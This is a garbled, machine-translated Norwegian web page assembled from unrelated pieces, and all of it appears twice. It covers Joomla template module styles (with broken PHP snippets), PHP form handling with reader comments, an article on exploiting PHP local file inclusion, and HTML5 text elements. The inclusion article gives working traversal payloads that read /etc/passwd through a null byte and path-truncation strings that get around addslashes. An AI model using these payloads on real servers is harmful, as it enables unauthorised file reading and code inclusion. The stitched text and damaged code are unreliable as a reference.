Beans html-moduler php-navn. Jdoc:include - metode for å vise innhold på siden. Legge til enkle skråstreker
Vi har kort berørt temaet metoder for å vise innhold i brødteksten til en mal. La oss nå se nærmere på hva det er og hva det spises med. Så metodeerklæringer jdoc er til stede i hver Joomla-mal og vis denne eller den informasjonen i brødteksten i malen (det vil si på sidesiden). Generelt ser metodeerklæringen slik ut:
Denne linjen viser informasjon fra komponenter på nettstedet, for eksempel artikler fra com_content. Typen utdataelementer er spesifisert i attributtet.
1. type - typer utgangselementer.
- komponent- som jeg skrev ovenfor, viser hovedinnholdet på siden. Kan kun kalles én gang per mal.
- hode- annonseres også en gang etter åpningstaggen . Viser stiler, skript,
og metadata for gjeldende side. - beskjed- viser systemmeldinger. Erklært én gang i hoveddelen av dokumentet.
- installasjon- viser ikke noe og er en "instruksjon" for installasjon.
- modul - viser en enkelt modul på siden. Antall annonser er ubegrenset.
- moduler- i motsetning til den forrige typen, lar den deg vise mer enn et enkelt antall moduler i sin posisjon.
For de fire første typene som er oppført, trenger du bare å angi dem på siden. Når det gjelder modultypen, blir oppgaven litt mer komplisert. For å vise en modul på siden, må vi først lage en modul for den modulær posisjon med en unik identifikator (modulposisjonsnavn). Dette gjøres ved å bruke attributtet name="posisjonsnavn" og det obligatoriske tillegget av linjen:
2. stil - beskrivelse av utdatastilen (mod krom).
Avhenger av den angitte stilen utseende og modulskallstruktur. Ser ut som
:
- xhtml - viser modulen i en blokk med tittelfunksjonen modChrome_xhtml($module, &$params, &$attribs)
{
if (!tom ($modul->innhold)) : ?>
">
showtitle != 0) : ?>
tittel; ?>
innhold; ?>
} - bord - viser modulen i et tabellstrukturoppsett
funksjon modChrome_table($modul, &$params, &$attribs)
{ ?>
">
showtitle != 0) : ?>
tittel; ?>
innhold; ?>
} - horz - viser innholdet i en modul i en tabellcelle, horisontalt funksjon modChrome_horz($modul, &$params, &$attribs)
{ ?>
} - avrundet- viser modulen i flere nestede blokker for kompleks stiling i form av grafiske kanter (f.eks. avrundede hjørner) funksjon modChrome_rounded($module, &$params, &$attribs)
{ ?>
">
showtitle != 0) : ?>
tittel; ?>
innhold; ?>
} - disposisjon- legger til forhåndsinnstilte css-stiler til modulblokkfunksjonen modChrome_outline($module, &$params, &$attribs)
{
statisk $css=false;
hvis (!$css)
{
$css=true;
jimport("joomla.miljø.nettleser");
$doc = JFactory::getDocument();
$browser = JBrowser::getInstance();
$doc->addStyleDeclaration(".mod-preview-info (polstring: 2px 4px 2px 4px; kantlinje: 1px helt svart; posisjon: absolutt; bakgrunnsfarge: hvit; farge: rød;)");
$doc->addStyleDeclaration(".mod-preview-wrapper (bakgrunnsfarge:#eee; kantlinje: 1px stiplet svart; farge:#700;)");
if ($browser->getBrowser()=="msie")
{
if ($browser->getMajor()<= 7) {
$doc->addStyleDeclaration(".mod-preview-info (filter: alpha(opacity=80);)");
$doc->addStyleDeclaration(".mod-preview-wrapper (filter: alpha(opacity=50);)");
}
ellers(
$doc->addStyleDeclaration(".mod-preview-info (-ms-filter: alpha(opacity=80);)");
$doc->addStyleDeclaration(".mod-preview-wrapper (-ms-filter: alpha(opacity=50);)");
}
}
ellers
{
$doc->addStyleDeclaration(".mod-preview-info (opasitet: 0.8;)");
$doc->addStyleDeclaration(".mod-preview-wrapper (opasitet: 0.5;)");
}
}
?>
posisjon."[".$modul->stil."]"; ?>
innhold; ?>
} - ingen- lignende stil som ikke er spesifisert i det hele tatt. Viser en modul uten design og tittelfunksjon modChrome_none($module, &$params, &$attribs)
{
echo $module->innhold;
}
Alle forhåndsinnstilte stiler er plassert i filen templates/system/html/modules.php. Men vi er ikke begrenset til å bruke bare de oppgitte alternativene, men er ganske i stand til å lage våre egne.
3. Lag en egendefinert krommodus.
Så standard modulrepresentasjonstypene som tilbys, oppfyller ikke gjeldende krav. Du må legge til din egen designstil. Som et eksempel, la oss velge en situasjon som ofte gjentas. Ifølge oppgaven, i stedet for
legg inn modultittelen i taggen , som er semantisk nøytral. Du må også plassere modulinnholdsblokken i en separat . For å lage din egen modulutdatastil, vil vi bruke standardverktøy. De fleste Joomla-maler har en html/-mappe (maler/malnavn/html/), som brukes til såkalt maling. Det vil si at hvis du kopierer en modulmal til denne mappen, vil filen fra maler/malnavn/html/mine_moduler/default bli sendt ut i stedet for malen fra katalogen modules/my_module/tmpl/default. Komponenter er malt på samme måte. Praktisk og praktisk. Lag en fil modules.php i html/-mappen i malen din. Hvis det ikke er en slik mappe i malen, oppretter vi den. La oss skrive det til en fil function modChrome_modbox($modul, &$params, &$attribs) // Kalle opp funksjonen
{
if (!empty ($module->content)) : /* Sjekk om posisjonen inneholder en aktivert modul */?>
">
showtitle != 0) : /* sjekk om modultittelen er inkludert */ ?>
tittel; /* Skriv ut tittelen */ ?>
innhold; /* Skriv ut innholdet i modulen */ ?>
}
?> Ferdig. Nå trenger du bare å spesifisere den som utdatastil. Vi tildeler en modul til vår stilling og ser på resultatet.
En av de flotte tingene med PHP er måten det fungerer med HTML-skjemaer. Hovedsaken her er at hvert skjemaelement automatisk blir tilgjengelig for PHP-programmene dine. For detaljert informasjon om bruk av skjemaer i PHP, les delen. Her er et eksempel på et HTML-skjema:
Eksempel #1 Enkleste HTML-skjema
Det er ikke noe spesielt med denne formen. Dette er et vanlig HTML-skjema uten noen spesielle tagger. Når brukeren fyller ut skjemaet og klikker på send-knappen, vil action.php-siden bli kalt opp. Denne filen kan ha noe sånt som:
Eksempel #2 Viser skjemadata
Hallo,
.
Til degår.
Eksempel på utdata fra dette programmet:
Hei, Sergey. Du er 30 år gammel.
Hvis du ikke tar hensyn til kodebitene med htmlspecialchars() Og (int), bør driftsprinsippet til denne koden være enkelt og forståelig. htmlspecialchars() Sikrer at "spesielle" HTML-tegn er riktig kodet slik at skadelig HTML eller Javascript ikke settes inn på siden din. Aldersfeltet, som vi vet skal være et tall, kan vi ganske enkelt konvertere til heltall, som automatisk blir kvitt uønskede tegn. PHP kan også gjøre dette automatisk ved å bruke filterutvidelsen. Variablene $_POST["navn"] og $_POST["alder"] settes automatisk for deg av PHP. Tidligere brukte vi $_SERVER superglobal variabel, men her bruker vi også $_POST superglobal variabel, som inneholder alle POST-dataene. Legg merke til det sendemetode(metoden) av skjemaet vårt er POST. Hvis vi brukte metoden FÅ, så vil skjemainformasjonen vår være i den superglobale variabelen $_GET . Alternativt kan du bruke variabelen $_REQUEST hvis datakilden ikke spiller noen rolle. Denne variabelen inneholder en blanding av GET, POST, COOKIE-data.
15 år siden
I henhold til HTTP-spesifikasjonen bør du bruke POST-metoden når du bruker skjemaet til å endre tilstanden til noe på serverenden. For eksempel, hvis en side har et skjema som lar brukere legge til sine egne kommentarer, som dette siden her, skal skjemaet bruke POST. Hvis du klikker "Last inn på nytt" eller "Oppdater" på en side du nådde gjennom en POST, er det nesten alltid en feil -- du bør ikke legge ut den samme kommentaren to ganger -- som er grunnen til at disse sidene ikke er bokmerket eller bufret.
Du bør bruke GET-metoden når skjemaet ditt, vel, fjerner noe fra serveren og faktisk ikke endrer noe. For eksempel bør skjemaet for en søkemotor bruke GET, siden søk på et nettsted ikke skal endre noe som klienten kanskje bryr seg om, og bokmerking eller bufring av resultatene av en søkemotorspørring er like nyttig som bokmerking eller hurtigbufring. en statisk HTML-side.
2 år siden
Verdt å presisere:
POST er ikke sikrere enn GET.
Årsakene til å velge GET vs POST involverer ulike faktorer som hensikten med forespørselen (sender du informasjon?), størrelsen på forespørselen (det er grenser for hvor lang en URL kan være, og GET-parametere sendes inn URL-en), og hvor enkelt du vil at handlingen skal være delbar -- Eksempel: Google-søk er GET fordi det gjør det enkelt å kopiere og dele søket med noen andre ved å dele nettadressen.
Sikkerhet er kun en vurdering her på grunn av det faktum at en GET er enklere å dele enn en POST. Eksempel: du vil ikke at et passord skal sendes av GET, fordi brukeren kan dele den resulterende URL-en og utilsiktet avsløre passordet sitt.
Imidlertid er en GET og en POST like enkle å fange opp av en godt plassert ondsinnet person hvis du ikke distribuerer TLS/SSL for å beskytte selve nettverkstilkoblingen.
Alle skjemaer som sendes over HTTP (vanligvis port 80) er usikre, og i dag (2017) er det ikke mange gode grunner til at et offentlig nettsted ikke bruker HTTPS (som i utgangspunktet er HTTP + Transport Layer Security).
Som en bonus, hvis du bruker TLS, minimerer du risikoen for at brukerne dine får kode (AD) injisert i trafikken din som ikke ble lagt der av deg.
Dette er en vanlig sårbarhet for PHP-inkludert klasse. Men personen jeg gjorde tilsynet for fortalte meg at denne sårbarheten ikke kan utnyttes, så den teller ikke. Jeg måtte krangle med ham
Hva er PHP-inkluder
La oss gjennomføre et lite pedagogisk program om denne sårbarheten. PHP-include er en sårbarhet som lar deg "inkludere" en vilkårlig fil, for eksempel denne koden:
$modul=$_REQUEST["modul"]; include("moduler/".$modul);
Og siden det vanligvis ikke er PHP-koder i filen "/etc/passwd" (), så vil den vises i nettleseren, akkurat som html-koden vil bli vist bak php-taggene i et vanlig php-skript. Å lese filer er selvfølgelig bare en av de mulige implementeringene av dette angrepet. Det viktigste er inkluderingen av de nødvendige filene med den nødvendige PHP-koden.
La oss gå tilbake til eksemplet. La oss komplisere det:
$modul=$_REQUEST["modul"]; include("moduler/".$modul."/module.class.php");
$modul = $_REQUEST [ "modul" ] ;
include ("modules/" . $module . "/module.class.php" );
Som du kan se, legges det nå til en linje i variabelen vår på slutten, som hindrer oss i å inkludere noen fil. Så mange PHP-funksjoner er ikke binærsikre, det vil si at slike funksjoner anser en NULL-byte for å være slutten av en streng. Vi får tilgang til skriptet slik:
script.php?module=../../../../../../../../../../../etc/passwd%00
Og hvis magic_quotes-direktivet er deaktivert, vil vi igjen se innholdet i /etc/passwd
Er det en sårbarhet?
La oss gå tilbake til koden vår:
$modul=addslashes($_REQUEST["modul"]); include("moduler/".$modul."/module.class.php");
$modul = addslashes ($_REQUEST [ "modul" ] );
include ("modules/" . $module . "/module.class.php" );
Som du kan se, blir variabelen vår tvunget til å gå gjennom "addslashes", og hvis vi prøver å bruke en NULL-byte, vil den bli konvertert til "\0" og inkluderingen vil ikke fungere.
Men fremgangen står ikke stille! Det viser seg at noen gutter fra USH fant en interessant funksjon i PHP: PHP-filsystemangrepsvektorer (engelsk). For å kort oppsummere kjernen i artikkelen, behandler php stier ved hjelp av flere funksjoner:
- Baneavkorting- php avkorter stistrengen til den angitte lengden MAXPATHLEN (på Windows opptil 270 tegn, på NIX - vanligvis 4096, på BSD - vanligvis 1024)
- Banenormalisering- php behandler banen på en spesiell måte, og fjerner ekstra tegn "/" og "/." og deres forskjellige kombinasjoner
- Reduksjon til kanonisk form- unødvendige overganger fjernes, for eksempel blir "dir1/dir2/../dir3" konvertert til "dir1/dir3/" mens eksistensen av katalogen "dir2" ikke er sjekket, og andre lignende transformasjoner (dvs. fortsettelse av normaliseringen )
Nå, i rekkefølge, hva skjer med den passerte banen:
- Hvis banen er relativ, erstattes først verdiene fra include_path-direktivet
- Banen trimmes deretter til en viss lengde avhengig av plattformen
- Banen blir normalisert
- Stien er redusert til kanonisk form
La oss nå prøve å bruke dette. La oss prøve å inkludere en bestemt fil "test.php" som ligger i "modules/"-katalogen. For å gjøre dette, legg til symbolet "/." til slutt. slik at den totale lengden, sammen med filnavnet og verdien fra include_path, åpenbart er større enn 4096 tegn.
script.php?module=test.php/././.[...]/././.
I dette tilfellet må du gjette slik at hele stistrengen (allerede trimmet) ender med en prikk (viktig!), og ikke med en skråstrek. For å gjøre dette kan du legge til en skråstrek slik:
Og ett av disse alternativene vil definitivt fungere.
Analyserer
La oss se i rekkefølge på hvilke transformasjoner som vil skje med banen
modules/test.php//././.[...]/./././module.class.php
4200 tegn
Det første som skjer med linjen er at verdien fra include_path legges til den:
/home/site/public_html/modules/test.php//././.[...]/./././module.class.php
4223 tegn
Strengen avkortes deretter til MAXPATHLEN (la oss si 4096):
/home/site/public_html/modules/test.php//././.[...]/./.
4096 tegn
Her kan du se hvorfor det var nødvendig å legge til enda en skråstrek (ellers hadde linjen blitt kuttet av til skråstreken). Nå er denne linjen normalisert, først fjerner du de ekstra skråstrekene:
/home/site/public_html/modules/test.php/././.[...]/./.
4095 tegn
Som et resultat får vi den riktige banen til filen vi trenger, og denne banen vil allerede være overført til include, og filen vi trenger vil bli inkludert.
Det vil si at dette er hvordan vi vil inkludere vår "test.php"-fil med hell.
script.php?module=test.php//././.[...]/././.
Dette betyr at sårbarheten ikke er teoretisk. Som et resultat tapte klienten min innsatsen, og jeg vant innsatsen og de 10 rublene vi satset på. Selvfølgelig, i tillegg til 10 rubler, vant jeg også tillit og respekt i klientens øyne, noe som også er viktig.
Notater
Her skal jeg se på et par interessante trekk ved utnyttelse av denne sårbarheten.
Avslutt katalogen
Tenk på denne koden:
)
;
La oss hoppe over punktet at du kan bruke RFI og inkludere en fil fra en ekstern server. La oss si "allow_url_include=OFF" på serveren.
La oss vurdere en situasjon når vi trenger å inkludere en fil fra katalogen nedenfor:
script.php?module=../test.php/././.[...]/././.
En slik forespørsel vil generere en feil som fil ikke funnet. Og for å komme rundt dette, må vi kalle det slik:
script.php?module=blabla/../../test.php/././.[...]/././.
Det var ikke forgjeves jeg beskrev kanoniseringen av stier. Takket være den trenger ikke "blabla"-katalogen å eksistere.
Legge til enkle skråstreker
En oppmerksom leser la nok merke til at jeg i beskrivelsen av normalisering skrev at ekstra skråstreker “/” og prikker med skråstreker “/.” fjernes, så hvorfor ikke bare bruke skråstreker for å unngå unødvendig mas med prikken som slutter på slutten.
Alt handler om algoritmene, det vil si en skråstrek med en prikk "/." er helt fjernet. Men med enkle skråstreker er situasjonen litt mer komplisert; under normaliseringen erstattes annenhver skråstrek med ett til det bare er ett (!) skråstrek igjen, eksempel:
/home/site/public_html/modules/test.php///////////////////
57 tegn
↓
/home/site/public_html/modules/test.php//////////
48 tegn
↓
/home/site/public_html/modules/test.php/////
44 tegn
↓
/home/site/public_html/modules/test.php///
42 tegn
↓
/home/site/public_html/modules/test.php//
41 tegn
↓
/home/site/public_html/modules/test.php/
40 tegn
En liten digresjon:
Dessuten, hvis du tar hensyn til mange populære hackressurser, vil du legge merke til denne feilen. Slik jeg forstår det, begynte denne feilen med en artikkel av en viss Raz0r der han foreslo en vektor:
index.php?act=../../../../../etc/passwd/////[…]/////
Og vær oppmerksom selv på magasinet ][aker gjentok denne feilen i artikkelen sin. Dessuten, selv i den originale USH-artikkelen ble det tydelig skrevet at det ikke er tilrådelig å bruke bare skråstreker, og det er nødvendig at et prikktegn blir igjen på slutten før normalisering. Men enkle skråstreker (selv uten en prikk på slutten) fungerer bare i PHP med Suhosin.
Det vil si, bruk en skråstrek med en prikk "/." - en mer universell metode, siden den, i motsetning til skråstrekene "/", fungerer for alle versjoner av php.
Konklusjon
Jeg håper denne artikkelen vil hjelpe deg å forstå at du ikke bør legge igjen selv de minste sårbarhetene i skriptene dine, siden du før eller siden kan utvikle din egen angrepsvektor for dem, noe som kan føre til alvorlige konsekvenser.
Em-elementet representerer et tekststykke med vekt. Du kan bruke den til å trekke leserens oppmerksomhet til betydningen av en setning eller et avsnitt. Jeg skal fortelle deg hva dette betyr etter , som beskriver em-elementet.
Tabell 8-6: em element
Figur 8-3: Bruke em-elementet
I dette eksemplet legger jeg vekt på I (I) i begynnelsen av setningen. Hvis vi tenker på em-elementet, når vi sier en setning høyt, vurderer vi det faktum at setningen er et svar på et spørsmål. Tenk deg for eksempel at jeg spurte: "Hvem liker epler og appelsiner?" Svaret ditt vil være: "Jeg liker epler og appelsiner." (Når du sier dette høyt og legger vekt på jeg, gjør du det klart at du er en person som liker disse fruktene).
Men hvis jeg spurte: "Liker du epler og hva annet?" Du kan svare: "Jeg liker epler og appelsiner." I dette tilfellet vil vekten ligge på det siste ordet, og understreke at appelsiner er en annen frukt du liker. Dette alternativet i HTML vil se slik ut:
Jeg liker epler og
appelsiner
.
Definisjon av fremmedord og faguttrykk
i-elementet betegner et tekststykke som er av en annen karakter enn innholdet rundt. Dette er en ganske vag definisjon, men vanlige eksempler inkluderer ord fra andre språk, tekniske eller vitenskapelige termer, og til og med menneskelige tanker (i motsetning til tale). Elementet i er beskrevet.
Tabell 8-7: Element i
Figur 8-5: Bruke s-elementet
![](https://i2.wp.com/storage.smarly.net/html5/8.5.png)
Identifisere viktig tekst
Det sterke elementet betegner en tekstpassasje som er viktig. Dette elementet er beskrevet i.
Tabell 8-9: Element sterkt
Figur 8-7: Bruke u-elementet
![](https://i1.wp.com/storage.smarly.net/html5/8.7.png)
Legger til liten skrift
Det lille elementet betegner liten skrift og brukes ofte til kvalifikasjoner og presiseringer. B representerer det lille elementet.
Tabell 8-11: element lite
Figur 8-8: Ved å bruke det lille elementet
![](https://i1.wp.com/storage.smarly.net/html5/8.8.png)
Legge til en hevet skrift og en bunnskrift
Du kan bruke sub- og sup-elementene for å betegne henholdsvis hevet og senket skrift. Hevet skrift brukes til å skrive ord på enkelte språk, og både hevet skrift og nedskreven skrift brukes i enkle matematiske uttrykk. Disse elementene er presentert i.
Tabell 8-12: Sub- og sup-elementer
Figur 8-9: Bruke sub- og sup-elementene
function modChrome_modbox($modul, &$params, &$attribs) // Kalle opp funksjonen
{
if (!empty ($module->content)) : /* Sjekk om posisjonen inneholder en aktivert modul */?>
showtitle != 0) : /* sjekk om modultittelen er inkludert */ ?>
tittel; /* Skriv ut tittelen */ ?>
innhold; /* Skriv ut innholdet i modulen */ ?>
}
?> Ferdig. Nå trenger du bare å spesifisere den som utdatastil.
En av de flotte tingene med PHP er måten det fungerer med HTML-skjemaer. Hovedsaken her er at hvert skjemaelement automatisk blir tilgjengelig for PHP-programmene dine. For detaljert informasjon om bruk av skjemaer i PHP, les delen. Her er et eksempel på et HTML-skjema:
Eksempel #1 Enkleste HTML-skjema
Det er ikke noe spesielt med denne formen. Dette er et vanlig HTML-skjema uten noen spesielle tagger. Når brukeren fyller ut skjemaet og klikker på send-knappen, vil action.php-siden bli kalt opp. Denne filen kan ha noe sånt som:
Eksempel #2 Viser skjemadata
Hallo,
.
Til degår.
Eksempel på utdata fra dette programmet:
Hei, Sergey. Du er 30 år gammel.
Hvis du ikke tar hensyn til kodebitene med htmlspecialchars() Og (int), bør driftsprinsippet til denne koden være enkelt og forståelig. htmlspecialchars() Sikrer at "spesielle" HTML-tegn er riktig kodet slik at skadelig HTML eller Javascript ikke settes inn på siden din. Aldersfeltet, som vi vet skal være et tall, kan vi ganske enkelt konvertere til heltall, som automatisk blir kvitt uønskede tegn. PHP kan også gjøre dette automatisk ved å bruke filterutvidelsen. Variablene $_POST["navn"] og $_POST["alder"] settes automatisk for deg av PHP. Tidligere brukte vi $_SERVER superglobal variabel, men her bruker vi også $_POST superglobal variabel, som inneholder alle POST-dataene. Legg merke til det sendemetode(metoden) av skjemaet vårt er POST. Hvis vi brukte metoden FÅ, så vil skjemainformasjonen vår være i den superglobale variabelen $_GET . Alternativt kan du bruke variabelen $_REQUEST hvis datakilden ikke spiller noen rolle. Denne variabelen inneholder en blanding av GET, POST, COOKIE-data.
15 år siden
I henhold til HTTP-spesifikasjonen bør du bruke POST-metoden når du bruker skjemaet til å endre tilstanden til noe på serverenden. For eksempel, hvis en side har et skjema som lar brukere legge til sine egne kommentarer, som dette siden her, skal skjemaet bruke POST. Hvis du klikker "Last inn på nytt" eller "Oppdater" på en side du nådde gjennom en POST, er det nesten alltid en feil -- du bør ikke legge ut den samme kommentaren to ganger -- som er grunnen til at disse sidene ikke er bokmerket eller bufret.
Du bør bruke GET-metoden når skjemaet ditt, vel, fjerner noe fra serveren og faktisk ikke endrer noe. For eksempel bør skjemaet for en søkemotor bruke GET, siden søk på et nettsted ikke skal endre noe som klienten kanskje bryr seg om, og bokmerking eller bufring av resultatene av en søkemotorspørring er like nyttig som bokmerking eller hurtigbufring. en statisk HTML-side.
2 år siden
Verdt å presisere:
POST er ikke sikrere enn GET.
Årsakene til å velge GET vs POST involverer ulike faktorer som hensikten med forespørselen (sender du informasjon?), størrelsen på forespørselen (det er grenser for hvor lang en URL kan være, og GET-parametere sendes inn URL-en), og hvor enkelt du vil at handlingen skal være delbar -- Eksempel: Google-søk er GET fordi det gjør det enkelt å kopiere og dele søket med noen andre ved å dele nettadressen.
Sikkerhet er kun en vurdering her på grunn av det faktum at en GET er enklere å dele enn en POST. Eksempel: du vil ikke at et passord skal sendes av GET, fordi brukeren kan dele den resulterende URL-en og utilsiktet avsløre passordet sitt.
Imidlertid er en GET og en POST like enkle å fange opp av en godt plassert ondsinnet person hvis du ikke distribuerer TLS/SSL for å beskytte selve nettverkstilkoblingen.
Alle skjemaer som sendes over HTTP (vanligvis port 80) er usikre, og i dag (2017) er det ikke mange gode grunner til at et offentlig nettsted ikke bruker HTTPS (som i utgangspunktet er HTTP + Transport Layer Security).
Som en bonus, hvis du bruker TLS, minimerer du risikoen for at brukerne dine får kode (AD) injisert i trafikken din som ikke ble lagt der av deg.
Dette er en vanlig sårbarhet for PHP-inkludert klasse. Men personen jeg gjorde tilsynet for fortalte meg at denne sårbarheten ikke kan utnyttes, så den teller ikke. Jeg måtte krangle med ham
Hva er PHP-inkluder
La oss gjennomføre et lite pedagogisk program om denne sårbarheten. PHP-include er en sårbarhet som lar deg "inkludere" en vilkårlig fil, for eksempel denne koden:
$modul=$_REQUEST["modul"]; include("moduler/".$modul);
Og siden det vanligvis ikke er PHP-koder i filen "/etc/passwd" (), så vil den vises i nettleseren, akkurat som html-koden vil bli vist bak php-taggene i et vanlig php-skript. Å lese filer er selvfølgelig bare en av de mulige implementeringene av dette angrepet. Det viktigste er inkluderingen av de nødvendige filene med den nødvendige PHP-koden.
La oss gå tilbake til eksemplet. La oss komplisere det:
$modul=$_REQUEST["modul"]; include("moduler/".$modul."/module.class.php");
$modul = $_REQUEST [ "modul" ] ; include ("modules/" . $module . "/module.class.php" ); |
Som du kan se, legges det nå til en linje i variabelen vår på slutten, som hindrer oss i å inkludere noen fil. Så mange PHP-funksjoner er ikke binærsikre, det vil si at slike funksjoner anser en NULL-byte for å være slutten av en streng. Vi får tilgang til skriptet slik:
script.php?module=../../../../../../../../../../../etc/passwd%00
Og hvis magic_quotes-direktivet er deaktivert, vil vi igjen se innholdet i /etc/passwd
Er det en sårbarhet?
La oss gå tilbake til koden vår:
$modul=addslashes($_REQUEST["modul"]); include("moduler/".$modul."/module.class.php");
$modul = addslashes ($_REQUEST [ "modul" ] ); include ("modules/" . $module . "/module.class.php" ); |
Som du kan se, blir variabelen vår tvunget til å gå gjennom "addslashes", og hvis vi prøver å bruke en NULL-byte, vil den bli konvertert til "\0" og inkluderingen vil ikke fungere.
Men fremgangen står ikke stille! Det viser seg at noen gutter fra USH fant en interessant funksjon i PHP: PHP-filsystemangrepsvektorer (engelsk). For å kort oppsummere kjernen i artikkelen, behandler php stier ved hjelp av flere funksjoner:
- Baneavkorting- php avkorter stistrengen til den angitte lengden MAXPATHLEN (på Windows opptil 270 tegn, på NIX - vanligvis 4096, på BSD - vanligvis 1024)
- Banenormalisering- php behandler banen på en spesiell måte, og fjerner ekstra tegn "/" og "/." og deres forskjellige kombinasjoner
- Reduksjon til kanonisk form- unødvendige overganger fjernes, for eksempel blir "dir1/dir2/../dir3" konvertert til "dir1/dir3/" mens eksistensen av katalogen "dir2" ikke er sjekket, og andre lignende transformasjoner (dvs. fortsettelse av normaliseringen )
Nå, i rekkefølge, hva skjer med den passerte banen:
- Hvis banen er relativ, erstattes først verdiene fra include_path-direktivet
- Banen trimmes deretter til en viss lengde avhengig av plattformen
- Banen blir normalisert
- Stien er redusert til kanonisk form
La oss nå prøve å bruke dette. La oss prøve å inkludere en bestemt fil "test.php" som ligger i "modules/"-katalogen. For å gjøre dette, legg til symbolet "/." til slutt. slik at den totale lengden, sammen med filnavnet og verdien fra include_path, åpenbart er større enn 4096 tegn.
script.php?module=test.php/././.[...]/././.
I dette tilfellet må du gjette slik at hele stistrengen (allerede trimmet) ender med en prikk (viktig!), og ikke med en skråstrek. For å gjøre dette kan du legge til en skråstrek slik:
Og ett av disse alternativene vil definitivt fungere.
Analyserer
La oss se i rekkefølge på hvilke transformasjoner som vil skje med banen
modules/test.php//././.[...]/./././module.class.php
4200 tegn
Det første som skjer med linjen er at verdien fra include_path legges til den:
/home/site/public_html/modules/test.php//././.[...]/./././module.class.php
4223 tegn
Strengen avkortes deretter til MAXPATHLEN (la oss si 4096):
/home/site/public_html/modules/test.php//././.[...]/./.
4096 tegn
Her kan du se hvorfor det var nødvendig å legge til enda en skråstrek (ellers hadde linjen blitt kuttet av til skråstreken). Nå er denne linjen normalisert, først fjerner du de ekstra skråstrekene:
/home/site/public_html/modules/test.php/././.[...]/./.
4095 tegn
Som et resultat får vi den riktige banen til filen vi trenger, og denne banen vil allerede være overført til include, og filen vi trenger vil bli inkludert.
Det vil si at dette er hvordan vi vil inkludere vår "test.php"-fil med hell.
script.php?module=test.php//././.[...]/././.
Dette betyr at sårbarheten ikke er teoretisk. Som et resultat tapte klienten min innsatsen, og jeg vant innsatsen og de 10 rublene vi satset på. Selvfølgelig, i tillegg til 10 rubler, vant jeg også tillit og respekt i klientens øyne, noe som også er viktig.
Notater
Her skal jeg se på et par interessante trekk ved utnyttelse av denne sårbarheten.
Avslutt katalogen
Tenk på denne koden:
) ;
La oss hoppe over punktet at du kan bruke RFI og inkludere en fil fra en ekstern server. La oss si "allow_url_include=OFF" på serveren.
La oss vurdere en situasjon når vi trenger å inkludere en fil fra katalogen nedenfor:
script.php?module=../test.php/././.[...]/././.
En slik forespørsel vil generere en feil som fil ikke funnet. Og for å komme rundt dette, må vi kalle det slik:
script.php?module=blabla/../../test.php/././.[...]/././.
Det var ikke forgjeves jeg beskrev kanoniseringen av stier. Takket være den trenger ikke "blabla"-katalogen å eksistere.
Legge til enkle skråstreker
En oppmerksom leser la nok merke til at jeg i beskrivelsen av normalisering skrev at ekstra skråstreker “/” og prikker med skråstreker “/.” fjernes, så hvorfor ikke bare bruke skråstreker for å unngå unødvendig mas med prikken som slutter på slutten.
Alt handler om algoritmene, det vil si en skråstrek med en prikk "/." er helt fjernet. Men med enkle skråstreker er situasjonen litt mer komplisert; under normaliseringen erstattes annenhver skråstrek med ett til det bare er ett (!) skråstrek igjen, eksempel:
/home/site/public_html/modules/test.php///////////////////
57 tegn
↓
/home/site/public_html/modules/test.php//////////
48 tegn
↓
/home/site/public_html/modules/test.php/////
44 tegn
↓
/home/site/public_html/modules/test.php///
42 tegn
↓
/home/site/public_html/modules/test.php//
41 tegn
↓
/home/site/public_html/modules/test.php/
40 tegn
En liten digresjon:
Dessuten, hvis du tar hensyn til mange populære hackressurser, vil du legge merke til denne feilen. Slik jeg forstår det, begynte denne feilen med en artikkel av en viss Raz0r der han foreslo en vektor:
index.php?act=../../../../../etc/passwd/////[…]/////
Og vær oppmerksom selv på magasinet ][aker gjentok denne feilen i artikkelen sin. Dessuten, selv i den originale USH-artikkelen ble det tydelig skrevet at det ikke er tilrådelig å bruke bare skråstreker, og det er nødvendig at et prikktegn blir igjen på slutten før normalisering. Men enkle skråstreker (selv uten en prikk på slutten) fungerer bare i PHP med Suhosin.
Det vil si, bruk en skråstrek med en prikk "/." - en mer universell metode, siden den, i motsetning til skråstrekene "/", fungerer for alle versjoner av php.
Konklusjon
Jeg håper denne artikkelen vil hjelpe deg å forstå at du ikke bør legge igjen selv de minste sårbarhetene i skriptene dine, siden du før eller siden kan utvikle din egen angrepsvektor for dem, noe som kan føre til alvorlige konsekvenser.
Em-elementet representerer et tekststykke med vekt. Du kan bruke den til å trekke leserens oppmerksomhet til betydningen av en setning eller et avsnitt. Jeg skal fortelle deg hva dette betyr etter , som beskriver em-elementet.
Tabell 8-6: em element
Figur 8-3: Bruke em-elementet
I dette eksemplet legger jeg vekt på I (I) i begynnelsen av setningen. Hvis vi tenker på em-elementet, når vi sier en setning høyt, vurderer vi det faktum at setningen er et svar på et spørsmål. Tenk deg for eksempel at jeg spurte: "Hvem liker epler og appelsiner?" Svaret ditt vil være: "Jeg liker epler og appelsiner." (Når du sier dette høyt og legger vekt på jeg, gjør du det klart at du er en person som liker disse fruktene).
Men hvis jeg spurte: "Liker du epler og hva annet?" Du kan svare: "Jeg liker epler og appelsiner." I dette tilfellet vil vekten ligge på det siste ordet, og understreke at appelsiner er en annen frukt du liker. Dette alternativet i HTML vil se slik ut:
Jeg liker epler og appelsiner .
Definisjon av fremmedord og faguttrykk
i-elementet betegner et tekststykke som er av en annen karakter enn innholdet rundt. Dette er en ganske vag definisjon, men vanlige eksempler inkluderer ord fra andre språk, tekniske eller vitenskapelige termer, og til og med menneskelige tanker (i motsetning til tale). Elementet i er beskrevet.
Tabell 8-7: Element i
Figur 8-5: Bruke s-elementet
![](https://i2.wp.com/storage.smarly.net/html5/8.5.png)
Identifisere viktig tekst
Det sterke elementet betegner en tekstpassasje som er viktig. Dette elementet er beskrevet i.
Tabell 8-9: Element sterkt
Figur 8-7: Bruke u-elementet
![](https://i1.wp.com/storage.smarly.net/html5/8.7.png)
Legger til liten skrift
Det lille elementet betegner liten skrift og brukes ofte til kvalifikasjoner og presiseringer. B representerer det lille elementet.
Tabell 8-11: element lite
Figur 8-8: Ved å bruke det lille elementet
![](https://i1.wp.com/storage.smarly.net/html5/8.8.png)
Legge til en hevet skrift og en bunnskrift
Du kan bruke sub- og sup-elementene for å betegne henholdsvis hevet og senket skrift. Hevet skrift brukes til å skrive ord på enkelte språk, og både hevet skrift og nedskreven skrift brukes i enkle matematiske uttrykk. Disse elementene er presentert i.
Tabell 8-12: Sub- og sup-elementer
Figur 8-9: Bruke sub- og sup-elementene
![](https://i1.wp.com/storage.smarly.net/html5/8.9.png)